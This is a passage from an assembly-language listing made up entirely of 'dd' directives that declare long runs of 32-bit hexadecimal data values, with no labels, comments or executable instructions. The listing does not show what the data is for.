		dd 50AB0848h, 1C680886h, 68530514h, 0D404F83Fh,	7287011Eh
		dd 46E95430h, 0EECC566Ah, 5FD8DF00h, 50D6291h, 6233630h
		dd 0E680FE48h, 58FB8435h, 4F7DF5BFh, 2FEDCCD9h,	0E3D2F65Bh
		dd 0DFC8FD42h, 0C180D420h, 0B4074AEAh, 5418216Ah, 0BB0C3EF2h
		dd 98C0719Fh, 0D9E92DFCh, 49BD9860h, 68C0705h, 36B8BE56h
		dd 5F50F48Fh, 7716C6EDh, 3F3E89F1h, 3BADEABCh, 409E2F9Ch
		dd 0C8B0D10Fh, 3A14CB06h, 0A1555B91h, 0D926B9ECh, 0A5EDA05h
		dd 5793B00Bh, 0AD6FD3BDh, 4B6FBDE0h, 54135225h,	1C8B0B75h
		dd 62193E55h, 0DACED587h, 0DF27FC28h, 0ACF24D93h, 0F395CF78h
		dd 0FB0162E4h, 74F4E2C1h, 0CF1384C5h, 0A4A95ABCh, 0FE98B312h
		dd 0DDCAF371h, 52017773h, 0D18894B2h, 90F1605Ah, 0C0A0EBE6h
		dd 0DC8381E2h, 0DD4FC1ABh, 0DA759219h, 3A1E2B02h, 1D6580Ah
		dd 9ABD554Bh, 4023EA69h, 581F0FC5h, 76C6AD4Eh, 510BE91h
		dd 0F9177578h, 69D28961h, 0F7DAFDABh, 77EA0920h, 6B001F48h
		dd 53FA0159h, 80DE93E9h, 1C12C325h, 421510A9h, 0C6BC5EE7h
		dd 7629C6Eh, 9C8061B6h,	0FA9D1651h, 0C196429Dh,	6800EE97h
		dd 0C7287632h, 0D3739851h, 0D98E1B95h, 6F64EBE9h, 0D83025ACh
		dd 0B1125894h, 1B16C08Dh, 0E149C41Dh, 62E6F102h, 32C030CBh
		dd 6F3A6866h, 8041651Dh, 8B01F50Fh, 0A8965559h,	12FA0920h
		dd 0B405C829h, 250759DEh, 3DF04F85h, 862114B0h,	0E02D045Dh
		dd 0EA4D2635h, 9D600C87h, 40327CDh, 14E9C709h, 0B8DA886Eh
		dd 7F0CB369h, 5EE9A83Bh, 0C0257FD3h, 4B82C801h,	0D02B7F1Ah
		dd 0D516430Ah, 0ED086D50h
		dd 20747212h, 0BC58B9FDh, 6D6C0A41h, 0BF5A0831h, 4B6E480Eh
		dd 3C350650h, 142C6816h, 0AE6A7E61h, 4898BF00h,	4F5CF812h
		dd 0A14587EAh, 8C3BA033h, 0C718E910h, 0FFC32D80h, 0B40F185Dh
		dd 0E32025D0h, 74CBCB41h, 0C678285Fh, 715C8073h, 0B7EA200Ah
		dd 0E131FFC8h, 54E4C082h, 60F59438h, 427E63E3h,	0F857E2BFh
		dd 10C8A032h, 0C772E74h, 0DE939B0h, 3FB5B84h, 4F49D1F7h
		dd 277AA310h, 0F826DF52h, 6C95181Bh, 120DD2EBh,	0DAC7BCA4h
		dd 0A194C40Dh, 0D368E789h, 0B2B512h, 0D50895E7h, 8898C05Ah
		dd 7EE6814h, 98B0CABDh,	0C50D2C2Ch, 0FEFC2458h,	138075CDh
		dd 0FAEB2893h, 9EBF3E64h, 0C3280270h, 0A32EB450h, 8DEDE9BCh
		dd 5F80DC5Eh, 91BE7D9Bh, 0B2423FD9h, 89F56E95h,	0A782D326h
		dd 12090EF0h, 0D0933E15h, 0D6215C86h, 5EBF2310h, 613F06E3h
		dd 0D0CB0B6Eh, 431619FFh, 88CE077Fh, 0EEFA24C7h, 71BDEF64h
		dd 2C8A8BDEh, 3C4185F8h, 0BDCAA46Bh, 0F38159C0h, 4CAC42BEh
		dd 0D905233Ah, 0C52BEFE2h, 29A5543Bh, 0D3C03125h, 801CD7F6h
		dd 0C7C2ADCFh, 40F828CDh, 1CB551F8h, 0E5004DEh,	0E1922CE8h
		dd 48A77BC4h, 0B5F9DC40h, 1255AF0h, 34C9D289h, 0EE0DB156h
		dd 27682128h, 9F591073h, 0B93275A5h, 0F2891710h, 0E958EEB4h
		dd 8ADB55FCh, 0C268D541h, 0B1C6FE38h, 0D412A160h, 3CB033E9h
		dd 1DB39850h, 644A6920h, 6E1C00FAh, 0C2812C96h,	2AB2C0E3h
		dd 0E9944095h, 89D64A11h, 0F3AEE0C0h, 72ECAB95h, 0B589F65Eh
		dd 288BB42Ah, 0E61C346Dh, 0A35CC18Bh, 0D5F7019Eh, 0CE32C36Fh
		dd 0E141F1A2h, 0E25181DDh, 0BD948D1h, 0F931F60h, 21E64A82h
		dd 0E75CE962h, 0BA7E6CAEh, 888CEA6h, 5A2F94AFh,	0FCD820A0h
		dd 24367EA0h, 0F67F8A2Fh, 8EF14EEh, 5A875A24h, 73ECD779h
		dd 0D3CFF4E9h, 87455058h, 12D6C184h, 3E0FE602h,	2E2DF42h
		dd 0B2740709h, 16AE46C4h, 20B2B561h, 6897D800h,	0C0FD65B0h
		dd 6F0EF2BBh, 6EB20FE4h, 6A90F773h, 0D915F00Bh,	9B84DDEEh
		dd 4D45E0FCh, 0A90BDAB0h, 4303FD4Eh, 5EF7980Dh,	0ED7C4E01h
		dd 685FC16Fh, 8D332AEFh, 1D9C0750h, 0AF0D3F44h,	0D5BD185h
		dd 7C1B983Ah, 5AB407Fh,	54796704h, 810F701h, 48209248h
		dd 20730B6h, 66B2175Dh,	0ED41687Fh, 0C5AEC101h,	2E7DEE3Ah
		dd 4A7B91B8h, 0E5B5D9DDh, 0F58101A4h, 0A3FE81E3h, 0C6822DBCh
		dd 6679088Ah, 0A2D383F7h, 0F3AE8469h, 0F5D8D7EBh, 0F4E55EA2h
		dd 0E040A6DEh, 60C10581h, 0EB09B861h, 80FDB94h,	19E16150h
		dd 0D16F492Ch, 6B68BBABh, 9DE09831h, 70E66B81h,	0D8325813h
		dd 25183FCEh, 3C0C639Fh, 8283E23h, 1A04F602h, 0E5764F90h
		dd 1669DE25h, 0BE25C45Fh, 0A925DB8Bh, 855C2705h, 64AFF19Bh
		dd 0BAEE9196h, 26CA104Dh, 6027ADF3h, 18F6B9ACh,	0C24CD143h
		dd 74F83546h, 11F20D04h, 0C8C26DADh, 0E59690A3h, 41B42F30h
		dd 569787FAh, 59E5A0D0h, 0FC85FF60h, 0C1B9AC08h, 0FB519F0h
		dd 253BF33Fh, 0A074527Ch, 0C5B87EDFh, 12C1E16Bh, 0FAC604DEh
		dd 7C9DEF96h, 10258E7Fh, 0DE6461B3h, 617A4C6h, 0FEF78101h
		dd 523D4334h, 0EC3F9CFDh, 6265C9FBh, 0FC6AAB7Eh, 0D274FA70h
		dd 353925A4h, 9EEB08FDh, 0D1E94A38h, 0B4521D48h, 731ED193h
		dd 0D8C004CDh, 138003E1h, 0B51CEC9h, 60D10F8Ah,	696770A7h
		dd 49C0315Bh, 45006CC3h, 565A5965h, 136850h, 587DDA1Dh
		dd 113AD425h, 14357200h, 0E9701018h, 0CAA5BF3Dh, 2163E5C5h
		dd 2FDE35B3h, 7CEF7F12h, 3927E9F3h, 0BF522Ch, 2D718801h
		dd 58992E8Ch, 624A0504h, 0C4BB11DDh, 0FEBDC292h, 4E34655h
		dd 0EE3D8FBDh, 2DECB04Bh, 18617B2Dh, 0B336878h,	5A495D12h
		dd 60D796C2h, 48427F0Ah, 24203241h, 576C2C27h, 7CB35280h
		dd 0D8E05404h, 0F7F392B7h, 105D4100h, 0F54D89DDh, 6E0093B9h
		dd 232D6B51h, 0C5540268h, 15B3222h, 28D03104h, 484C66F3h
		dd 979CEF7h, 47543B2Eh,	792F1174h, 33AB607Fh, 78B80A6Bh
		dd 8DBFE915h, 36FD0095h, 0B9517E95h, 340612A3h,	0F72FB003h
		dd 0E883D00Ch, 1FA2E601h, 0A4825ECFh, 2A924FFh,	2AD2B3Dh
		dd 9B92E0D7h, 0B1B9B723h, 3B6A2168h, 7CACD98h, 81664C30h
		dd 0D16F90CFh, 2725E91Ch, 5B96870h, 0C1794C76h,	7336BD5Eh
		dd 0FA9D880Bh, 95D7AA1Ah, 4CCB3042h, 0F9BDA246h, 0A4B6160Dh
		dd 0F0BFCDB0h, 4B9518FBh, 56E65CF2h, 0E635EE95h, 0C45776D0h
		dd 0AA67EFCEh, 69824069h, 44166858h, 6E90F1C6h,	0E2404E07h
		dd 5D775564h, 0F0825935h, 0F7FC9063h, 350213DAh, 1087AC5Eh
		dd 548109Dh, 9DC84117h,	1024202Bh, 0C760E39Eh, 0A908124Ch
		dd 0E16B50F6h, 0F60532h, 0BD55D712h, 4A732D64h,	0E82F6590h
		dd 86A0822Bh, 972075DBh, 158B116Bh, 63E0BB7h, 95F5807Eh
		dd 0C5015476h, 173B30E2h, 5B6EC090h, 70C23C67h,	0AB6C77DDh
		dd 1A311DF4h, 26CBA01h,	79C6737Ch, 49981A14h, 727F5C9Dh
		dd 101D667Dh, 4E03DFE9h, 0B46B9FB1h, 22F8CE08h,	706FD4Ch
		dd 1ED12D25h, 5A636FB3h, 0B876252Ch, 6D7A0058h,	0E58122EDh
		dd 7E5C16FEh, 0C0D10074h, 0E903015Ah, 5EC4A424h, 381E7269h
		dd 0EB4099F4h, 5D9359B6h, 0A0F666F8h, 0ED31B264h, 3550F2BDh
		dd 21688047h, 0D1617C5Eh, 8000D9A1h, 0D8B593C3h, 0A2924F2Fh
		dd 2DEBD2FFh, 5A0802A2h, 27618A80h, 36C73620h, 0F7F94507h
		dd 0AB3D5B05h, 94AD873Ch, 127C2692h, 183F90CAh,	404EFCE3h
		dd 0E9B742AAh, 0CFC8CDE4h, 553049ACh, 0CCA36617h, 84F84F93h
		dd 0AF9300F1h, 0E9683650h, 5EDD164Dh, 0BFF4F6BCh, 6817740Ah
		dd 2E36BA82h, 0D163C118h, 59CECD41h, 0E9F62Ah, 0DA4858C6h
		dd 54B2E95Eh, 4E99AC4Dh, 0A99377Dh, 0E6EE0018h,	2963D178h
		dd 840A0EDh, 62F6E94Ch,	90110241h, 27300D44h, 0E34050F1h
		dd 2801733Fh, 43685751h, 0D4478A3Ch, 9E6AB5AEh,	60A15CD2h
		dd 0BC96C66Bh, 5444A03h, 0D72D4072h, 319A7591h,	77E2C875h
		dd 0EE95F809h, 0F634E905h, 6467121h, 0CB704FC1h, 0EB6F18A0h
		dd 0E3ACDE38h, 21DC5809h, 97BD65F1h, 0A013EB57h, 0AB32AAAh
		dd 901AD9E9h, 0E11C7F8Ch, 1A2BA6Ah, 6C61BCBAh, 42D70975h
		dd 0B05718C6h, 9FB6D62Eh, 0E1F6EE4Eh, 0C341664Bh, 0D69D9FA2h
		dd 17621C21h, 0FBDCE909h, 0F681ECD7h, 0F44E5AC0h, 1E757B0h
		dd 0A61CEB18h, 28B7515Bh, 6EC49B52h, 34AD857h, 89B3D85Eh
		dd 4A9F7E10h, 0C6C8F404h, 0E39A1216h, 0DFBB3A3Bh, 11627E3h
		dd 4F3D638h, 8DD2D6C1h,	0AAFCD498h, 0F61EC18Bh,	20EC30DDh
		dd 0FB995ED7h, 0E4DC8509h, 83CE902Ch, 4058B273h, 0E5EC3ADh
		dd 29558D18h, 846A0BD3h, 0FA34AB84h, 0EF4FD605h, 0CB5DEE09h
		dd 675EB023h, 0D0AC9DBh, 0E588F6E0h, 5A5A999Dh,	0B221E8E5h
		dd 43FECCF5h, 66C1C91Eh, 62021352h, 28E65C6Ch, 258833BBh
		dd 0C7B5EB4Dh, 40468469h, 116202EAh, 9DC5B826h,	4FCCFA0Ch
		dd 0DE14A726h, 90A2D02Dh, 6C5C131Eh, 0F12407EDh, 26A2E36Fh
		dd 747390E7h, 0D49F310Dh, 4B0820D1h, 5A99F359h,	0E94D63FEh
		dd 87011C30h, 48FD102Fh, 47203825h, 0A8354276h,	8EAB220Ch
		dd 0C7FB108Fh, 8A5B5412h, 6F4C5131h, 56592205h,	95972C87h
		dd 5765AB49h, 0CBA0D530h, 75DAE696h, 0E7758142h, 58322C75h
		dd 3B21E954h, 0EB18BC65h, 3FF257D5h, 0BED68C1Fh, 1A4C4CBDh
		dd 0F5C8CCD2h, 0C08D23C3h, 26237549h, 0F5846AE7h, 0E84BCB8Ah
		dd 0E8B32FBCh, 9A58E9B1h
		dd 0BB89B54Ch, 0F7D90909h, 5467B582h, 10E1574Eh, 0C02A8BBCh
		dd 0CCA403EDh, 843B4E24h, 9D887AEh, 742E718Ch, 0EF1F1E61h
		dd 9E3A2C8Bh, 20CC48A8h, 0F3E9134Ch, 43CFD88h, 5534940Bh
		dd 5DA2DDB8h, 2AEA2BC0h, 315041C4h, 5E2F9BFFh, 2070DE2Dh
		dd 48D17288h, 6D24CECFh, 0C0CE9E78h, 68595AF3h,	9BC97D69h
		dd 0F557A932h, 0E961D065h, 0FD2BC6C7h, 4DFB9301h, 205788CDh
		dd 0D22DA6EBh, 9FB58A2h, 23103F5Fh, 8B028F5h, 0D9DCC027h
		dd 98D3F0Ah, 207DAA6h, 14DC4282h, 27CD761h, 3DEFE066h
		dd 909C97E2h, 11D7A9Fh,	6E101280h, 2E6B9CE9h, 98009674h
		dd 6C943F59h, 0EC272BE9h, 7C45259Dh, 549D6889h,	1BE961B8h
		dd 7A1467E6h, 0D885BC62h, 0FB65FD5Bh, 77014813h, 0FCF4078h
		dd 6018E040h, 0E972122Fh, 0F398B44Dh, 32D0BC02h, 77DD21ADh
		dd 0AEB0FC85h, 5CBCC6E1h, 39F0E516h, 1B983AB7h,	557A6092h
		dd 7763B5F2h, 55052F5Fh, 0DB81C229h, 81041CE4h,	830C6002h
		dd 64D8EF2Fh, 96B4976Fh, 0B15D91E0h, 0DB7D1960h, 6F8F2E5Ch
		dd 0B1DF997Ch, 3E95CC0Ch, 97EF3438h, 8AF60E3Ah,	12FFE78Eh
		dd 5B999BEFh, 16F61996h, 0B0AE1A2Ch, 4F131944h,	8AE84EF4h
		dd 6FCC6318h, 477BC8F5h, 0B5A8224Bh, 0CC8E2612h, 5D0EDA46h
		dd 334311C4h, 0E481ECE8h, 7B138664h, 246CFBE0h,	10481F97h
		dd 31AD0B93h, 3DABF7D8h, 0E9580274h, 300FB5A9h,	23EE738Eh
		dd 5A67B9F3h, 0ED2E4FC0h, 0C5250F74h, 4080D045h, 21EB705h
		dd 7FF848F6h, 38127D05h, 0AFE0CEE9h, 5E512D68h,	5C41B2F3h
		dd 66F10CDh, 89E28DDFh,	0FCC4EF2Dh, 0B04C5BB3h,	50A9B243h
		dd 1ABE044Ah, 8721B714h, 3A856BE6h, 3B9CA160h, 70BA52F0h
		dd 62F6972Ch, 6CFC95CDh, 0CE3ABD78h, 6456A82h, 0B860927Ch
		dd 9F66E515h, 0CD176D74h, 905B2CF0h, 282A49F9h,	0F6CB8602h
		dd 0B5630D1h, 0A4880833h, 8DC8A2BAh, 0CAC04680h, 0DAF61C59h
		dd 0D334BA86h, 0B147A808h, 2C86088Bh, 1A7944E9h, 0D47C5F62h
		dd 24E5A0Dh, 48DA8EC6h,	10DF29EEh, 6E4AE941h, 0DFCAAFEBh
		dd 65E97B9h, 0F0560712h, 14CDE75h, 68859EA2h, 0CD454FA8h
		dd 67B341C5h, 5A43BC10h, 5217B4FCh, 0B6D110B2h,	4F3F7A10h
		dd 6E0077A8h, 0BB717C74h, 9E01DF76h, 0E9FB2998h, 822DEDB3h
		dd 4ECE9601h, 3FFD31CBh, 92452329h, 2BA98D01h, 29301F46h
		dd 5534E7E8h, 28082769h, 5D86057Fh, 0C2310FEh, 1746582Fh
		dd 4D541AC2h, 899FC014h, 60FF822Ah, 50E1184Bh, 4B7F87DFh
		dd 0C4AAB34Eh, 80038DD9h, 0C62294C3h, 13C602F1h, 29FC6CF7h
		dd 90214E5Dh, 0EEE54B8Fh, 20F3B620h, 56390061h,	0C547BCBEh
		dd 0E8B5014Bh, 0B6446833h, 0CBF4279Fh, 0BF9A4152h, 44713C06h
		dd 0AD3B6C3Dh, 68E90109h, 5F2C1406h, 29E8A4D2h,	508CEC9h
		dd 0AAB7711Eh, 0C3312F7Bh, 7A526A5Ch, 1008272Dh, 0F42DDDE6h
		dd 0E936F976h, 809A167Fh, 7E0619B2h, 61D0B825h,	5E90D15h
		dd 2EA32EE3h, 378F6716h, 52B02794h, 4C611A71h, 954FAC0Eh
		dd 45F5300Fh, 0B9B2065Ah, 6DCD3332h, 0BA583FC8h, 565E2902h
		dd 77C23126h, 3CE5F2D9h, 0C03197D2h, 80C7893Fh,	0A9B9A0A5h
		dd 6F39B907h, 0CBB856A0h, 0A9162790h, 2DA08856h, 4D7AE81h
		dd 0B868C4EFh, 0FAE9B017h, 0FEE3CB19h, 89AD6A88h, 0BA00D1F7h
		dd 7F21696Eh, 0D64C0690h, 0AC250769h, 0DDBB9104h, 0F1275184h
		dd 0EEA33E20h, 0B0FEE9C4h, 82BD211Ch, 1E85C47h,	0E301C780h
		dd 0A20A65E2h, 75ABEA27h, 16DDD0C2h, 0EEE59F24h, 1A85DF2Dh
		dd 0D65FD0h, 1ABA52FDh,	364CDD0Ch, 814A0BECh, 41EB04E2h
		dd 76134C7h, 657515E9h,	17FF62A5h, 0BD282AD2h, 68E2B4F1h
		dd 890CE99Bh, 78D9D7Ah,	0A2F1BBAFh, 7EEBF581h, 0F0A4B9E5h
		dd 0F72C90Fh, 0D74CCE2Bh, 9950C08h, 300D2F7h, 74E12B6Ah
		dd 0D612F89Dh, 0A83000EAh, 2198B7EDh, 2D21CE95h, 0E6763215h
		dd 80F6F4D8h, 1F63B568h, 272A59D3h, 51400FC1h, 0B44BCF80h
		dd 0AE5A0AF8h, 887E9402h, 0C28A54FCh, 6BE4CDC0h, 3AF1920h
		dd 1715C981h, 1BD95F8Eh, 0ED17819Bh, 73CE53D1h,	6E08C41h
		dd 0CF451FD8h, 0C2015F1Ah, 60E80171h, 0A3A62C91h, 0BDC0D03h
		dd 0AF2520AAh, 6806CA30h, 8C1C5FC9h, 16B423Eh, 159BF7BAh
		dd 287F2ED9h, 3F5BC452h, 6002FE12h, 77B00EB9h, 0BEF5FEC3h
		dd 0E54A2CA2h, 69065F77h, 791BC8A1h, 4AE3B957h,	0B34E7330h
		dd 5A32DEF6h, 55006A9Ch, 14019A68h, 905D5163h, 2216E507h
		dd 0AC58D94Ch, 2672320Ah, 1201A41Ah, 108899Dh, 5DB5412Fh
		dd 81BF20E9h, 89C0C68Dh, 0E92FB899h, 4B8F4A60h,	0E97C305Ah
		dd 7BB5D1C2h, 1264A699h, 0C1E5E841h, 19E569ECh,	0F14EF06Bh
		dd 0FC010FC9h, 6865479Bh, 6F9AFE2Dh, 4791D6F1h,	0B32C5452h
		dd 2A6DA6A5h, 4076FDD0h, 0C0B12C4Eh, 0EA4036B5h, 2DE94F3Ch
		dd 55D3BBA1h, 73C2811Eh, 0D50F106Eh, 4C574740h,	0EB4F15BCh
		dd 2C5CE00Bh, 4ED7FEF3h, 9BB7B48Ch, 542154B5h, 0B09FAC96h
		dd 84D8F609h, 112D9A6h,	5F2B445Fh, 0D15C7020h, 6D0970B8h
		dd 29401EE9h, 41628051h, 0F873776Ch, 0DCFD494Eh, 0E82A1312h
		dd 0D0C4C497h, 7DE0D0CDh, 0B547975Fh, 3EF16825h, 65BB8019h
		dd 61820B12h, 1EB2DA4h,	33745106h, 66674368h, 2FE00EDh
		dd 0E6816B66h, 6C271DEEh, 7D84BA51h, 8043E90Bh,	0A5860E14h
		dd 0F3315013h, 29850FA3h, 5C2DEAFAh, 8E493844h,	0EC417D89h
		dd 0C48A6A51h, 0CF8957C2h, 821008DFh, 1283C47h,	0C280C5B2h
		dd 12B5718Ch, 5B755D8Ch, 7CCC899Ah, 511379C6h, 50AD5954h
		dd 75817B1h, 5A305569h,	5A80B264h, 0A04F4A29h, 0FE41B4BEh
		dd 0F2D7624h, 31366044h, 0E00196BFh, 30FC68FEh,	7C24ECACh
		dd 0B28238F8h, 41E2D08Ch, 3C3CC203h, 1C977C9Fh,	921BE211h
		dd 0CAB1E513h, 0E9A93C2Ah, 8191D12Ah, 0C489749Fh, 681FD014h
		dd 99C7EB1h, 3D704160h,	556DC67h, 0C2536157h, 9E7DEB43h
		dd 2F989F41h, 902F52Dh,	0F8292154h, 29078905h, 9F5559B0h
		dd 91F2C57h, 0B59A754Bh, 414FEF10h, 5C805899h, 6168F9F7h
		dd 0AD09B148h, 5B2F77D0h, 3B19C74h, 805CB151h, 0C79C01C1h
		dd 0B1772525h, 4C906F04h, 509F3BEFh, 1695085Ah,	0AF0D1645h
		dd 4BE98C78h, 0F6C7F0C3h, 8C596ACEh, 0B51F64D9h, 0FBF0B5C6h
		dd 0CD9F45Eh, 185AE62Eh, 0EABFAE3Fh, 65C3131Dh,	893EB0FBh
		dd 52AA0261h, 0DFCAC288h, 0F8B19EC3h, 7BC3E553h, 0B22137F1h
		dd 412F2B2Eh, 1E86AF68h, 86F481EAh, 366ED7FAh, 6B00F2B4h
		dd 0AE685291h, 9EBDC519h, 0E4D4ECCDh, 60A86C82h, 5DE94120h
		dd 5F2C1B40h, 7E173C50h, 0A13CF8EDh, 313F4915h,	68A4E8E7h
		dd 6466E278h, 0B0E825DFh, 75724F5Eh, 0C243C6C2h, 7B9605D0h
		dd 173CC8B5h, 50B0137Dh, 5E278056h, 89002A8Eh, 0F2095FFEh
		dd 0B7C2E4E9h, 18ADEEFBh, 0B6DAE945h, 35E2F68h,	24BA21C5h
		dd 926C96ECh, 1A4BC001h, 136AE906h, 0ED2EBA24h,	0B7B8356Eh
		dd 0E9570B5Bh, 0FB7C283Dh, 1D85B23Bh, 1BF37D59h, 6BBC9ABFh
		dd 6B84F72Dh, 741EFCDEh, 0A35AF6FCh, 4E7834A2h,	0D8CA12EDh
		dd 0DA1DE364h, 60B08C62h, 486033F8h, 371F561Ah,	5109C030h
		dd 0F2D7CB9h, 0EFE9430Bh, 963AF4DAh, 1C1BD856h,	51360213h
		dd 0FDF1AF00h, 0B03A9537h, 2833709Eh, 3F8C21F3h, 2E3DD305h
		dd 4A98390h, 28BAED80h,	0B22EE8C7h, 4A5E13F4h, 16EB2A58h
		dd 4E1B8E9h, 7217C280h
		dd 0DFF7779Fh, 5CF44758h, 0DE2D078Ah, 0D7B9CAAEh, 455DC40Bh
		dd 0BA7FA782h, 136E79C4h, 3DEA1E21h, 568623DAh,	646A53D2h
		dd 778DF1A0h, 5502359Bh, 47C8B9BDh, 207D5039h, 0DABF598Ch
		dd 9A5E2A71h, 0A0D697E6h, 130AFF8Fh, 564E29B2h,	447D6881h
		dd 0C47D746Eh, 9FAD542Bh, 0A137AD02h, 4E42596Bh, 0E9856745h
		dd 5DBA6871h, 1E8FF9EBh, 0F08614FCh, 0C3004718h, 0DC035ADh
		dd 0BF51E368h, 0AAB510E6h, 805AD287h, 7D281C17h, 55D69D61h
		dd 0B8449481h, 0E9E42932h, 209B4C98h, 483480F5h, 6F60963Eh
		dd 1C9E3C8h, 20209A8Dh,	6609054Fh, 44D0305Bh, 0BA7730B0h
		dd 1558CE41h, 0C264220h, 36384982h, 34300458h, 1F919C1h
		dd 2517736Ch, 0CB7A5EF5h, 560DC5Dh, 18455CB8h, 46978804h
		dd 171A3500h, 2D001133h, 28E64E9Ch, 0B4568C68h,	185B60ECh
		dd 0E93B3BAFh, 0F6B77051h, 64BAE3E1h, 0E7A6FA84h, 0BDE8D412h
		dd 102ED44Dh, 4B586EF6h, 0E5C7A718h, 173FB3C1h,	9F2E7B67h
		dd 25539F2Dh, 72B92C38h, 8500665Eh, 39FD91E9h, 86945D25h
		dd 5896009Dh, 0A2096DD2h, 0D3B0FD99h, 0E725CF40h, 0DA5E43E1h
		dd 0E93268EBh, 65985EBEh, 4064D279h, 832EDF09h,	78C8410Eh
		dd 0F02DE986h, 85294E90h, 4BA70109h, 60604F53h,	3FC9F991h
		dd 24F68FDEh, 0BECA7D7h, 69EC34CBh, 1C60B9B0h, 7FBAEAF9h
		dd 62254E76h, 1472CB78h, 41FC3C40h, 0E887A45h, 2CCF5F89h
		dd 0E92DFBC3h, 0F67A0337h, 670479D2h, 0D98923E7h, 0EB020770h
		dd 0D39B1852h, 91F17F31h, 3E259263h, 0ED8BF7A7h, 6C7EF1B1h
		dd 8095325h, 1A2F8817h,	0F7F22BBCh, 0BA147024h,	0C19C25D1h
		dd 0FEE6C510h, 96D5FDE7h, 10345EECh, 0E4109EBDh, 80C03BA6h
		dd 0D0DDF607h, 5BF580EDh, 1639E6ECh, 6CFA35F4h,	57A1BFC5h
		dd 0AFD8548Bh, 968D23A0h, 0BC55123Fh, 705D2763h, 32E81C02h
		dd 0CD81808Bh, 6934372Bh, 15FCE90h, 38E9D5E0h, 0FA5AEAACh
		dd 0EC3ACF3Dh, 0CEE484B8h, 2DDB35Ah, 9739FEDh, 5790CAD8h
		dd 0FD223804h, 0EC12290Fh, 822610E7h, 0E0F75013h, 68045719h
		dd 915F9BE7h, 0B554D4FBh, 4DE27B76h, 0E647C5A4h, 4CD3055Ch
		dd 0C0EA5F92h, 0C8628281h, 0E2067476h, 6A7E2F07h, 0DBC10918h
		dd 0C1F7FF60h, 126A71CBh, 3F3DA574h, 4A5D1391h,	0A56002AFh
		dd 860555C2h, 73E9AA4Dh, 0BB3E7B0h, 3098B280h, 39403F09h
		dd 5180FB6Eh, 3259785Eh, 5D2CD51Ch, 0D79B31FFh,	95A6B9F8h
		dd 0F862C2F1h, 6282D4E3h, 5E04CA4Ah, 30806783h,	0CCEFA43h
		dd 2E278E71h, 8142565Fh, 0A2527DF5h, 26C57A2Fh,	97C9A4E4h
		dd 0EB010B8Eh, 30D82859h, 1D88F6CFh, 0D253878h,	0E606C987h
		dd 2DB67051h, 52F844FBh, 1F0B2F79h, 0EE19D9E9h,	491EF6C7h
		dd 79255194h, 0CE881B98h, 0F14B5173h, 48722181h, 5444AA04h
		dd 0AACA3707h, 0C0A94D7Bh, 0C248312Ch, 0B3654DB1h, 45070F2Ch
		dd 0D50AD11h, 0B8D377Ah, 0A5A2E926h, 8A4EB7DAh,	0CEBA4FC5h
		dd 0B785133Dh, 0E8E430BAh, 49005B2Dh, 25CCC981h, 9D511DBBh
		dd 90965771h, 4BB89952h, 412C2900h, 1FE78164h, 3BC41613h
		dd 2FD7EE02h, 0C6466011h, 0F73E197Bh, 0E0950C48h, 0E0BFF5FDh
		dd 1450475Bh, 6765D6E9h, 1DB3830h, 300281D0h, 30834E2h
		dd 238F9058h, 3DDB9507h, 3F033208h, 0CED30E19h,	0F7AC6A09h
		dd 36500D3h, 0E9735C39h, 33855B5Fh, 4A8CCABEh, 2DAB7E17h
		dd 824A2C41h, 0C0CE42ACh, 0A205F0F4h, 704F0307h, 688202EEh
		dd 693826D7h, 0BA46EFFh, 270F050Ch, 0E6EE00D7h,	2523AAF1h
		dd 0F442EDE9h, 2D2A4CDDh, 4E7CF655h, 0C5FDC2h, 0F181E1D1h
		dd 917EAB04h, 318131BBh, 0B99326C6h, 0D33D0BCAh, 0D7587D7Eh
		dd 0EFB994BFh, 8CD0CC6Bh, 7D27BB05h, 1180219Bh,	9883A40h
		dd 56A96875h, 9860B87Ch, 3841540Fh, 35804058h, 5F6963F9h
		dd 6FEED8F7h, 3CBA6D05h, 8CA88EE9h, 0E048E95Bh,	0D2B9C8E9h
		dd 0BD6D160Ah, 7276381Bh, 2AA8F84Bh, 0E2AC9E71h, 0ECD9E873h
		dd 99AAC8B5h, 96572DA9h, 843EBFD9h, 29B3AB96h, 56BE9C3h
		dd 4CC12502h, 74D81C37h, 0B15141ADh, 0F6B5CCA7h, 652C284Ch
		dd 8C83CD0Ch, 49C398ADh, 19B42C50h, 0F9DE16E7h,	9368B039h
		dd 5CB0A637h, 69647654h, 0BA39EA5Eh, 17489664h,	0BA644740h
		dd 0FBFE714h, 42B00F06h, 0C05EF231h, 9E012773h,	782E536Dh
		dd 0EB097757h, 9D5764F8h, 0BCBDB130h, 1560DF98h, 5F14C75Ch
		dd 0DB215C08h, 16D5F716h, 343CC0A5h, 793D8B50h,	7BEDAFE9h
		dd 44153DA6h, 0CC9E423Eh, 280AEFA1h, 0D0B0F377h, 0FA7B85B6h
		dd 4480D787h, 5397D7F7h, 50D9BB0Ah, 5D08FD4Eh, 1EBA01BDh
		dd 0E8D4DEA7h, 0E8BEB474h, 0B0F359DAh, 0E95D1718h, 4B79054Ch
		dd 387A57B0h, 0BE02AB01h, 21A4033h, 0B84760DDh,	0B7E7812h
		dd 2720E932h, 97BB2076h, 75AAD3C0h, 4B04EA81h, 0BE12C7CEh
		dd 5913E81Eh, 0C2FE3280h, 0A1F25C80h, 9BE8653Ch, 3D2F02B9h
		dd 207D34C9h, 2E7AE271h, 1F767696h, 0D24FDFF2h,	0EF600213h
		dd 47E03804h, 0D1C0D76Bh, 350FFAF3h, 834B1312h,	0E2AFCEBh
		dd 49A839FBh, 0CB0EF421h, 0EF003354h, 0DD8EF116h, 66AB20E9h
		dd 73C0682Dh, 0F009173Dh, 0F70CB984h, 7A462959h, 2D459ECAh
		dd 25F00576h, 0C4739D40h, 0D4ADBDh, 8FCB716h, 2C5B7AFEh
		dd 8F638D2Eh, 0FA32D909h, 12A6198Dh, 641C0041h,	0F9212FC8h
		dd 7941B1B0h, 0BA9A852Ah, 0DCB78B61h, 0DDB9FA60h, 52799357h
		dd 7221BA17h, 3100B3FDh, 23995BD8h, 274B6828h, 343F7A8Ah
		dd 7B384E0h, 0E9125575h, 0C6DDC7E0h, 30600DA8h,	0EEFD9C43h
		dd 9F250AB7h, 0A01BFC40h, 0FC5F5B08h, 543CE211h, 2B48E903h
		dd 8CBC5DD0h, 4839E1A0h, 9874AE4Dh, 3D8B4908h, 7B82D01h
		dd 0F0926BDAh, 8BC0E521h, 0BB7B4AEBh, 0B95D5F6Ah, 2DAF9679h
		dd 0A0E52851h, 0B41D82E9h, 195B9AFAh, 2E395F81h, 0E1F06E91h
		dd 6ED11ACBh, 0D5F470AFh, 9E2C4FA6h, 405D742Dh,	7A6A4349h
